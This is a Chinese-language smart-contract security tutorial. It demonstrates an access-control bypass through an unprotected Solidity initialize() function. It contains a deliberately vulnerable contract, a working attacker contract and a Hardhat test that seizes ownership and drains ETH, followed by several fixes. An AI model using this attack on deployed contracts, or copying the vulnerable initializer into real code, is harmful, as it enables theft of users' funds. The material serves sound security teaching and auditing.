10分钟智能合约:进阶实战-5.4 实战2:绕过权限检查

54 阅读5分钟

实战2:绕过权限检查 —— 从“构造函数”到“初始化”的陷阱

权限漏洞是智能合约安全审计中的高频高危项。本实战将通过一个因初始化函数未受保护而导致的权限绕过案例,演示攻击者如何轻松获得合约控制权,并给出相应的防御方案。


一、场景设定

我们有一个可升级合约的设计雏形(实际生产中使用代理模式),为了便于理解,我们直接使用一个逻辑合约,它本应在部署时由管理员初始化 owner,但初始化函数没有限制只能调用一次,也没有限制调用者。任何人在合约部署后都可以调用 initialize() 将自己设为 owner,从而获取所有敏感权限。

这种错误在真实世界中屡见不鲜,尤其在使用代理模式时,因为代理合约不会执行逻辑合约的构造函数,必须单独调用 initialize 函数。如果该函数不加保护,后果就是“人人皆可成 owner”。


二、漏洞合约(VulnerableLogic.sol)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableLogic {
    address public owner;
    bool public initialized;

    // ❌ 未使用任何修饰符限制调用次数和调用者
    function initialize() external {
        // 虽然是手动检查,但只检查了一次,且任何人都可以调用
        require(!initialized, "Already initialized");
        owner = msg.sender;
        initialized = true;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    // 敏感操作:提取合约中的所有 ETH
    function sweep() external onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    // 敏感操作:销毁合约(模拟)
    function kill() external onlyOwner {
        selfdestruct(payable(owner));
    }

    // 查看合约余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

漏洞分析

  • initialize 函数虽然使用了 initialized 标记来防止二次初始化,但没有限制调用者,意味着任何人都可以在合约刚部署、initializedfalse 时调用它。
  • 攻击者一旦成为 owner,就能调用 sweepkill,完全控制合约和资金。

三、攻击者合约(Attack.sol)

攻击者不需要复杂的回调,只需在部署漏洞合约后立即调用 initialize 抢夺 owner 权限。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./VulnerableLogic.sol";

contract Attack {
    VulnerableLogic public target;
    address public owner;

    constructor(address _target) {
        target = VulnerableLogic(_target);
        owner = msg.sender;
    }

    // 攻击入口:调用 initialize 成为 owner
    function becomeOwner() external {
        target.initialize();
    }

    // 调用 sweep 提走资金
    function steal() external {
        require(msg.sender == owner, "Not attack owner");
        target.sweep();
    }

    // 提取攻击所得
    function withdrawProfit() external {
        require(msg.sender == owner, "Not attack owner");
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {}
}

攻击流程

  1. 管理员部署 VulnerableLogic 合约,但忘记立即调用 initialize()(或者由于某种原因延迟了初始化)。
  2. 攻击者监控到该合约上线,立即调用 Attack.becomeOwner(),触发 target.initialize(),将 owner 设置为攻击者合约。
  3. 此时攻击者已经拥有 owner 权限,可以调用 steal() 将合约中的 ETH 转走(如果合约中已有资金,比如有用户已经存入)。
  4. 攻击者随后 withdrawProfit() 将资金转到自己的 EOA 账户。

四、实战操作(Hardhat + 测试脚本)

以下是一个 Hardhat 测试脚本,演示攻击全过程:

// test/attack.js
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("权限绕过攻击", function () {
    let vulnerable, attack;
    let owner, attacker, user;

    beforeEach(async function () {
        [owner, attacker, user] = await ethers.getSigners();

        // 部署漏洞合约
        const Vulnerable = await ethers.getContractFactory("VulnerableLogic");
        vulnerable = await Vulnerable.deploy();
        await vulnerable.deployed();

        // 模拟用户向合约存入 10 ETH(正常使用)
        await user.sendTransaction({
            to: vulnerable.address,
            value: ethers.utils.parseEther("10"),
        });
    });

    it("攻击者应能绕过权限检查,提走所有资金", async function () {
        // 1. 攻击者部署攻击合约
        const Attack = await ethers.getContractFactory("Attack");
        attack = await Attack.connect(attacker).deploy(vulnerable.address);
        await attack.deployed();

        // 2. 攻击者调用 becomeOwner,成为 target 的 owner
        await attack.connect(attacker).becomeOwner();

        // 验证 owner 已经变成攻击合约
        const currentOwner = await vulnerable.owner();
        expect(currentOwner).to.equal(attack.address);

        // 3. 攻击者调用 steal,将合约中的 ETH 转到攻击合约
        await attack.connect(attacker).steal();

        // 4. 验证漏洞合约余额变为 0
        const contractBalance = await vulnerable.getBalance();
        expect(contractBalance).to.equal(0);

        // 5. 攻击者提取利润到自己的 EOA
        await attack.connect(attacker).withdrawProfit();
        const attackerBalance = await ethers.provider.getBalance(attacker.address);
        // 攻击者应获得约 10 ETH(减去 gas 消耗)
        expect(attackerBalance).to.be.gt(ethers.utils.parseEther("9.5"));
    });
});

五、防御修复

方案一:使用 OpenZeppelin 的 Initializable 库(推荐)

OpenZeppelin 提供了标准的 initializer 修饰符,确保初始化函数只能被调用一次,并且通常在构造函数中或部署后立即调用。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract SafeLogic is Initializable {
    address public owner;

    // ✅ 使用 initializer 修饰符,确保只被调用一次
    function initialize() external initializer {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    function sweep() external onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    function kill() external onlyOwner {
        selfdestruct(payable(owner));
    }
}

注意:此合约用于代理模式时,还需要在构造函数中调用 _disableInitializers() 以防止逻辑合约被直接初始化。

方案二:在构造函数中完成初始化(非代理模式)

如果合约不打算升级,直接使用构造函数即可:

contract SafeContract {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    // ... onlyOwner 函数
}

方案三:添加调用者限制

如果不想引入外部库,至少要在 initialize 中限制调用者,例如:

address public deployer;

constructor() {
    deployer = msg.sender;
}

function initialize() external {
    require(msg.sender == deployer, "Only deployer can initialize");
    require(!initialized, "Already initialized");
    owner = msg.sender;
    initialized = true;
}

六、扩展:其他权限绕过场景

  • 构造函数拼写错误(Solidity 0.4.x):函数名与合约名不一致,变成普通函数,任何人都可调用。
  • delegatecall 权限混淆:库合约的初始化函数未保护,攻击者通过 delegatecall 修改调用方的存储。
  • tx.origin 滥用:使用 tx.origin 进行权限验证,可能被钓鱼攻击绕过。
  • 权限转移时未检查零地址:将 owner 设置为 address(0),导致所有权限永久失效(这也是另一种形式的“绕过”,因为任何人都无法再执行,但攻击者可能利用其他漏洞)。

七、总结

  • 权限检查是所有安全防御的第一道闸门,一旦失守,合约形同虚设。
  • 初始化函数(initialize)必须严格控制调用次数和调用者,推荐使用 OpenZeppelin 的标准库。
  • 审计时务必检查所有能够改变关键状态(如 owneradminpauser)的函数,确保它们有足够的限制。
  • 不要依赖“我很快会调用初始化”这种信任,链上是公平竞争,先到先得。